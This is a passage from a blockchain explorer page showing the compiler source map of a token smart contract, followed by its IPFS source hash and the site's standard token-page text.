1296:23:0;;-1:-1:-1;31296:58:0;;31300:13;;31323:2;;31327:12;;31296:58;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31389:4;31365:6;:21;31372:13;;;;;;;;;-1:-1:-1;;;;;31372:13:0;-1:-1:-1;;;;;31365:21:0;-1:-1:-1;;;;;31365:21:0;;;;;;;;;;;;:28;;;;31427:4;31404:6;:20;31411:12;;;;;;;;;-1:-1:-1;;;;;31411:12:0;-1:-1:-1;;;;;31404:20:0;-1:-1:-1;;;;;31404:20:0;;;;;;;;;;;;:27;;;;31446:13;;;;;;;;;-1:-1:-1;;;;;31446:13:0;-1:-1:-1;;;;;31442:23:0;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30637:850;;;;;;;;;;30631:856;31511:1;;:6;31508:561;;31533:7;;;;:22;;;;;31554:1;31544:7;:11;31533:22;31530:528;;;31567:7;:15;;-1:-1:-1;;31567:15:0;;;31629:13;;31625:32;;;-1:-1:-1;;;31625:32:0;;;;31577:5;;;;-1:-1:-1;;;;;31629:13:0;;;;31625:30;;:32;;;;;;;;;;;;;;;31629:13;31625:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;31602:55;-1:-1:-1;;;;;31602:55:0;;;-1:-1:-1;;;;;31602:55:0;;;31668:11;31682:30;31695:7;31704:3;31709:2;31682:12;:30::i;:::-;31783:12;;31668:44;;-1:-1:-1;31799:7:0;;31773:23;;-1:-1:-1;;;;;31783:12:0;31773:9;:23::i;:::-;31757:12;;-1:-1:-1;;;;;31757:12:0;31750:20;;;;:6;:20;;;;;;:46;;;;:::i;:::-;:56;;;;:::i;:::-;31732:13;;-1:-1:-1;;;;;31732:13:0;31725:21;;;;:6;:21;;;;;:81;;:21;;;:81;;;;;:::i;:::-;;;;-1:-1:-1;;31874:12:0;;31890:7;;31864:23;;-1:-1:-1;;;;;31874:12:0;31864:9;:23::i;:::-;31848:12;;-1:-1:-1;;;;;31848:12:0;31841:20;;;;:6;:20;;;;;;:46;;;;:::i;:::-;:56;;;;:::i;:::-;31824:12;;-1:-1:-1;;;;;31824:12:0;31817:20;;;;:6;:20;;;;;:80;;:20;;;:80;;;;;:::i;:::-;;;;-1:-1:-1;;31912:13:0;;31940:2;;31944:12;;;31912:13;31944:12;;;;;;;;;;-1:-1:-1;;;31908:49:0;;;-1:-1:-1;;;;;31912:13:0;;;;31908:23;;:49;;31932:3;;31912:13;;31940:2;;;;31908:49;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;31994:2:0;;31971:26;;-1:-1:-1;;;31971:26:0;;-1:-1:-1;;;;;31994:2:0;;;31971:26;;;2754:51:1;32000:1:0;;-1:-1:-1;;;;;;;;;;;;12624:42:0;-1:-1:-1;31971:22:0;;2727:18:1;;31971:26:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:30;31968:79;;;32022:2;;;;;;;;;-1:-1:-1;;;;;32022:2:0;-1:-1:-1;;;;;32018:15:0;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31968:79;31556:502;;;30442:1634;30384:1692;;:::o;35881:228::-;35941:7;;;36001:4;35987:11;:7;35997:1;35987:11;:::i;:::-;:18;;;;:::i;:::-;35970:35;-1:-1:-1;36016:23:0;36042:16;35970:35;36042:7;:16;:::i;:::-;36016:42;36094:6;;-1:-1:-1;35881:228:0;;-1:-1:-1;;;35881:228:0:o;36117:335::-;36214:7;;;;36270:21;36280:11;36270:7;:21;:::i;:::-;36252:39;-1:-1:-1;36302:14:0;36319:20;36328:11;36319:6;:20;:::i;:::-;36302:37;-1:-1:-1;36350:23:0;36376:16;36302:37;36376:7;:16;:::i;:::-;36411:7;;;;-1:-1:-1;36437:6:0;;-1:-1:-1;36117:335:0;;-1:-1:-1;;;;;36117:335:0:o;6135:419::-;6305:12;6363:5;6338:21;:30;;6330:45;;;;-1:-1:-1;;;6330:45:0;;16692:2:1;6330:45:0;;;16674:21:1;16731:1;16711:18;;;16704:29;-1:-1:-1;;;16749:18:1;;;16742:32;16791:18;;6330:45:0;16490:325:1;6330:45:0;6387:12;6401:23;6428:6;-1:-1:-1;;;;;6428:11:0;6447:5;6454:4;6428:31;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6386:73;;;;6477:69;6504:6;6512:7;6521:10;6533:12;6477:26;:69::i;32084:1480::-;32144:1;32141:846;;;32180:13;;-1:-1:-1;;;;;32180:13:0;;;32158:12;32173:21;;;:6;:21;;;;;;;32227:12;;;;;32220:20;;;;;;32290:3;;32263:24;;:9;:24::i;:::-;:30;;;;:::i;:::-;:35;;32296:2;32263:35;:::i;:::-;32251:47;;32310:6;32318:7;32334:13;;;;;;;;;-1:-1:-1;;;;;32334:13:0;-1:-1:-1;;;;;32330:30:0;;:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;32309:53;-1:-1:-1;;;;;32309:53:0;;;-1:-1:-1;;;;;32309:53:0;;;32373:12;32388:22;32401:1;32404;32407:2;32388:12;:22::i;:::-;32479:13;;-1:-1:-1;;;;;32479:13:0;32472:21;;;;:6;:21;;;;;;32373:37;;-1:-1:-1;32472:27:0;;32496:3;;32472:27;:::i;:::-;:32;;32502:2;32472:32;:::i;:::-;32454:13;;-1:-1:-1;;;;;32454:13:0;32447:21;;;;:6;:21;;;;;;:58;;;;:::i;:::-;32430:13;;;-1:-1:-1;;;;;32430:13:0;;;32423:21;;;;:6;:21;;;;;;;;:82;;;;32520:13;;32549:5;;32556:12;;;;;;;;;;;;-1:-1:-1;;;32516:53:0;;;32520:13;;;32516:23;;:53;;32543:4;;32549:5;;32516:53;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;32617:5:0;;32594:29;;-1:-1:-1;;;32594:29:0;;-1:-1:-1;;;;;32617:5:0;;;32594:29;;;2754:51:1;32580:11:0;;-1:-1:-1;;;;;;;;;;;;12624:42:0;-1:-1:-1;32594:22:0;;2727:18:1;;32594:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;32580:43;;32635:6;32643:7;32659:13;;;;;;;;;-1:-1:-1;;;;;32659:13:0;-1:-1:-1;;;;;32655:30:0;;:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;32634:53;-1:-1:-1;;;;;32634:53:0;;;-1:-1:-1;;;;;32634:53:0;;;32698:10;32711:24;32724:3;32729:2;32733:1;32711:12;:24::i;:::-;32750:5;;32774:13;;32746:47;;-1:-1:-1;;;32746:47:0;;-1:-1:-1;;;;;;;;;;;32746:47:0;;;15077:34:1;-1:-1:-1;;;;;32774:13:0;;;15127:18:1;;;15120:43;15179:18;;;15172:34;;;32698:37:0;;-1:-1:-1;32750:5:0;;32746:21;;15012:18:1;;32746:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;32808:13:0;;32835:12;;32849;;;32808:13;32849:12;;;;;;;;;;-1:-1:-1;;;32804:58:0;;;-1:-1:-1;;;;;32808:13:0;;;;-1:-1:-1;32804:23:0;;-1:-1:-1;32804:58:0;;32828:2;;32835:12;;32804:58;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32897:4;32873:6;:21;32880:13;;;;;;;;;-1:-1:-1;;;;;32880:13:0;-1:-1:-1;;;;;32873:21:0;-1:-1:-1;;;;;32873:21:0;;;;;;;;;;;;:28;;;;32935:4;32912:6;:20;32919:12;;;;;;;;;-1:-1:-1;;;;;32919:12:0;-1:-1:-1;;;;;32912:20:0;-1:-1:-1;;;;;32912:20:0;;;;;;;;;;;;:27;;;;32954:13;;;;;;;;;-1:-1:-1;;;;;32954:13:0;-1:-1:-1;;;;;32950:23:0;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32147:840;;;;;;;;;;32141:846;33000:1;;:6;32997:560;;33022:7;;;;:22;;;;;33043:1;33033:7;:11;33022:22;33019:527;;;33056:7;:15;;-1:-1:-1;;33056:15:0;;;33117:13;;33113:32;;;-1:-1:-1;;;33113:32:0;;;;33066:5;;;;-1:-1:-1;;;;;33117:13:0;;;;33113:30;;:32;;;;;;;;;;;;;;;33117:13;33113:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;33090:55;-1:-1:-1;;;;;33090:55:0;;;-1:-1:-1;;;;;33090:55:0;;;33156:11;33170:30;33183:7;33192:2;33196:3;33170:12;:30::i;:::-;33271:12;;33156:44;;-1:-1:-1;33287:7:0;;33261:23;;-1:-1:-1;;;;;33271:12:0;33261:9;:23::i;:::-;33245:12;;-1:-1:-1;;;;;33245:12:0;33238:20;;;;:6;:20;;;;;;:46;;;;:::i;:::-;:56;;;;:::i;:::-;33220:13;;-1:-1:-1;;;;;33220:13:0;33213:21;;;;:6;:21;;;;;:81;;:21;;;:81;;;;;:::i;:::-;;;;-1:-1:-1;;33362:12:0;;33378:7;;33352:23;;-1:-1:-1;;;;;33362:12:0;33352:9;:23::i;:::-;33336:12;;-1:-1:-1;;;;;33336:12:0;33329:20;;;;:6;:20;;;;;;:46;;;;:::i;:::-;:56;;;;:::i;:::-;33312:12;;-1:-1:-1;;;;;33312:12:0;33305:20;;;;:6;:20;;;;;:80;;:20;;;:80;;;;;:::i;:::-;;;;-1:-1:-1;;33400:13:0;;33428:2;;33432:12;;;33400:13;33432:12;;;;;;;;;;-1:-1:-1;;;33396:49:0;;;-1:-1:-1;;;;;33400:13:0;;;;33396:23;;:49;;33400:13;33423:3;;33428:2;;;;33396:49;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;33482:2:0;;33459:26;;-1:-1:-1;;;33459:26:0;;-1:-1:-1;;;;;33482:2:0;;;33459:26;;;2754:51:1;33488:1:0;;-1:-1:-1;;;;;;;;;;;;12624:42:0;-1:-1:-1;33459:22:0;;2727:18:1;;33459:26:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:30;33456:79;;;33510:2;;;;;;;;;-1:-1:-1;;;;;33510:2:0;-1:-1:-1;;;;;33506:15:0;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;33456:79;33045:501;;;33019:527;32084:1480;;:::o;6850:617::-;7035:12;7064:7;7060:400;;;7092:10;:17;7113:1;7092:22;7088:263;;-1:-1:-1;;;;;5389:19:0;;;7302:33;;;;-1:-1:-1;;;7302:33:0;;17022:2:1;7302:33:0;;;17004:21:1;17061:1;17041:18;;;17034:29;-1:-1:-1;;;17079:18:1;;;17072:32;17121:18;;7302:33:0;16820:325:1;7302:33:0;-1:-1:-1;7372:10:0;7365:17;;7060:400;7415:33;7423:10;7435:12;7636:17;;:21;7632:388;;7868:10;7862:17;7925:15;7912:10;7908:2;7904:19;7897:44;7632:388;7995:12;7988:20;;-1:-1:-1;;;7988:20:0;;;;;;;;:::i;14:250:1:-;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:271::-;311:3;349:5;343:12;376:6;371:3;364:19;392:76;461:6;454:4;449:3;445:14;438:4;431:5;427:16;392:76;:::i;:::-;522:2;501:15;-1:-1:-1;;497:29:1;488:39;;;;529:4;484:50;;269:271;-1:-1:-1;;269:271:1:o;545:220::-;694:2;683:9;676:21;657:4;714:45;755:2;744:9;740:18;732:6;714:45;:::i;770:131::-;-1:-1:-1;;;;;845:31:1;;835:42;;825:70;;891:1;888;881:12;825:70;770:131;:::o;906:134::-;974:20;;1003:31;974:20;1003:31;:::i;:::-;906:134;;;:::o;1045:315::-;1113:6;1121;1174:2;1162:9;1153:7;1149:23;1145:32;1142:52;;;1190:1;1187;1180:12;1142:52;1229:9;1216:23;1248:31;1273:5;1248:31;:::i;:::-;1298:5;1350:2;1335:18;;;;1322:32;;-1:-1:-1;;;1045:315:1:o;1962:180::-;2021:6;2074:2;2062:9;2053:7;2049:23;2045:32;2042:52;;;2090:1;2087;2080:12;2042:52;-1:-1:-1;2113:23:1;;1962:180;-1:-1:-1;1962:180:1:o;2147:456::-;2224:6;2232;2240;2293:2;2281:9;2272:7;2268:23;2264:32;2261:52;;;2309:1;2306;2299:12;2261:52;2348:9;2335:23;2367:31;2392:5;2367:31;:::i;:::-;2417:5;-1:-1:-1;2474:2:1;2459:18;;2446:32;2487:33;2446:32;2487:33;:::i;:::-;2147:456;;2539:7;;-1:-1:-1;;;2593:2:1;2578:18;;;;2565:32;;2147:456::o;3005:247::-;3064:6;3117:2;3105:9;3096:7;3092:23;3088:32;3085:52;;;3133:1;3130;3123:12;3085:52;3172:9;3159:23;3191:31;3216:5;3191:31;:::i;3257:127::-;3318:10;3313:3;3309:20;3306:1;3299:31;3349:4;3346:1;3339:15;3373:4;3370:1;3363:15;3389:1121;3473:6;3504:2;3547;3535:9;3526:7;3522:23;3518:32;3515:52;;;3563:1;3560;3553:12;3515:52;3603:9;3590:23;3632:18;3673:2;3665:6;3662:14;3659:34;;;3689:1;3686;3679:12;3659:34;3727:6;3716:9;3712:22;3702:32;;3772:7;3765:4;3761:2;3757:13;3753:27;3743:55;;3794:1;3791;3784:12;3743:55;3830:2;3817:16;3852:2;3848;3845:10;3842:36;;;3858:18;;:::i;:::-;3904:2;3901:1;3897:10;3936:2;3930:9;3999:2;3995:7;3990:2;3986;3982:11;3978:25;3970:6;3966:38;4054:6;4042:10;4039:22;4034:2;4022:10;4019:18;4016:46;4013:72;;;4065:18;;:::i;:::-;4101:2;4094:22;4151:18;;;4185:15;;;;-1:-1:-1;4227:11:1;;;4223:20;;;4255:19;;;4252:39;;;4287:1;4284;4277:12;4252:39;4311:11;;;;4331:148;4347:6;4342:3;4339:15;4331:148;;;4413:23;4432:3;4413:23;:::i;:::-;4401:36;;4364:12;;;;4457;;;;4331:148;;;4498:6;3389:1121;-1:-1:-1;;;;;;;;3389:1121:1:o;4712:118::-;4798:5;4791:13;4784:21;4777:5;4774:32;4764:60;;4820:1;4817;4810:12;4835:382;4900:6;4908;4961:2;4949:9;4940:7;4936:23;4932:32;4929:52;;;4977:1;4974;4967:12;4929:52;5016:9;5003:23;5035:31;5060:5;5035:31;:::i;:::-;5085:5;-1:-1:-1;5142:2:1;5127:18;;5114:32;5155:30;5114:32;5155:30;:::i;:::-;5204:7;5194:17;;;4835:382;;;;;:::o;5475:388::-;5543:6;5551;5604:2;5592:9;5583:7;5579:23;5575:32;5572:52;;;5620:1;5617;5610:12;5572:52;5659:9;5646:23;5678:31;5703:5;5678:31;:::i;:::-;5728:5;-1:-1:-1;5785:2:1;5770:18;;5757:32;5798:33;5757:32;5798:33;:::i;6200:331::-;6402:2;6384:21;;;6441:1;6421:18;;;6414:29;-1:-1:-1;;;6474:2:1;6459:18;;6452:38;6522:2;6507:18;;6200:331::o;6536:127::-;6597:10;6592:3;6588:20;6585:1;6578:31;6628:4;6625:1;6618:15;6652:4;6649:1;6642:15;6668:128;6735:9;;;6756:11;;;6753:37;;;6770:18;;:::i;6801:127::-;6862:10;6857:3;6853:20;6850:1;6843:31;6893:4;6890:1;6883:15;6917:4;6914:1;6907:15;6933:125;6998:9;;;7019:10;;;7016:36;;;7032:18;;:::i;7063:168::-;7136:9;;;7167;;7184:15;;;7178:22;;7164:37;7154:71;;7205:18;;:::i;7236:127::-;7297:10;7292:3;7288:20;7285:1;7278:31;7328:4;7325:1;7318:15;7352:4;7349:1;7342:15;7368:120;7408:1;7434;7424:35;;7439:18;;:::i;:::-;-1:-1:-1;7473:9:1;;7368:120::o;7832:251::-;7902:6;7955:2;7943:9;7934:7;7930:23;7926:32;7923:52;;;7971:1;7968;7961:12;7923:52;8003:9;7997:16;8022:31;8047:5;8022:31;:::i;8088:188::-;8167:13;;-1:-1:-1;;;;;8209:42:1;;8199:53;;8189:81;;8266:1;8263;8256:12;8281:450;8368:6;8376;8384;8437:2;8425:9;8416:7;8412:23;8408:32;8405:52;;;8453:1;8450;8443:12;8405:52;8476:40;8506:9;8476:40;:::i;:::-;8466:50;;8535:49;8580:2;8569:9;8565:18;8535:49;:::i;:::-;8525:59;;8627:2;8616:9;8612:18;8606:25;8671:10;8664:5;8660:22;8653:5;8650:33;8640:61;;8697:1;8694;8687:12;8640:61;8720:5;8710:15;;;8281:450;;;;;:::o;8736:467::-;8975:6;8964:9;8957:25;9018:6;9013:2;9002:9;8998:18;8991:34;9090:1;9086;9081:3;9077:11;9073:19;9065:6;9061:32;9056:2;9045:9;9041:18;9034:60;9130:3;9125:2;9114:9;9110:18;9103:31;8938:4;9151:46;9192:3;9181:9;9177:19;9169:6;9151:46;:::i;:::-;9143:54;8736:467;-1:-1:-1;;;;;;8736:467:1:o;9680:380::-;9759:1;9755:12;;;;9802;;;9823:61;;9877:4;9869:6;9865:17;9855:27;;9823:61;9930:2;9922:6;9919:14;9899:18;9896:38;9893:161;;9976:10;9971:3;9967:20;9964:1;9957:31;10011:4;10008:1;10001:15;10039:4;10036:1;10029:15;9893:161;;9680:380;;;:::o;10065:245::-;10132:6;10185:2;10173:9;10164:7;10160:23;10156:32;10153:52;;;10201:1;10198;10191:12;10153:52;10233:9;10227:16;10252:28;10274:5;10252:28;:::i;10315:331::-;10517:2;10499:21;;;10556:1;10536:18;;;10529:29;-1:-1:-1;;;10589:2:1;10574:18;;10567:38;10637:2;10622:18;;10315:331::o;10651:324::-;10853:2;10835:21;;;10892:1;10872:18;;;10865:29;-1:-1:-1;;;10925:2:1;10910:18;;10903:31;10966:2;10951:18;;10651:324::o;12639:184::-;12709:6;12762:2;12750:9;12741:7;12737:23;12733:32;12730:52;;;12778:1;12775;12768:12;12730:52;-1:-1:-1;12801:16:1;;12639:184;-1:-1:-1;12639:184:1:o;14174:326::-;14376:2;14358:21;;;14415:1;14395:18;;;14388:29;-1:-1:-1;;;14448:2:1;14433:18;;14426:33;14491:2;14476:18;;14174:326::o;15556:216::-;15596:1;-1:-1:-1;;;;;15683:2:1;15680:1;15676:10;15705:3;15695:37;;15712:18;;:::i;:::-;15750:10;;15746:20;;;;;15556:216;-1:-1:-1;;15556:216:1:o;15777:287::-;15906:3;15944:6;15938:13;15960:66;16019:6;16014:3;16007:4;15999:6;15995:17;15960:66;:::i;:::-;16042:16;;;;;15777:287;-1:-1:-1;;15777:287:1:o

Swarm Source

ipfs://e09ca4da9d6fb41d81cc14afd130811df0b484588d81e6dd96fa4422c9a02380
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.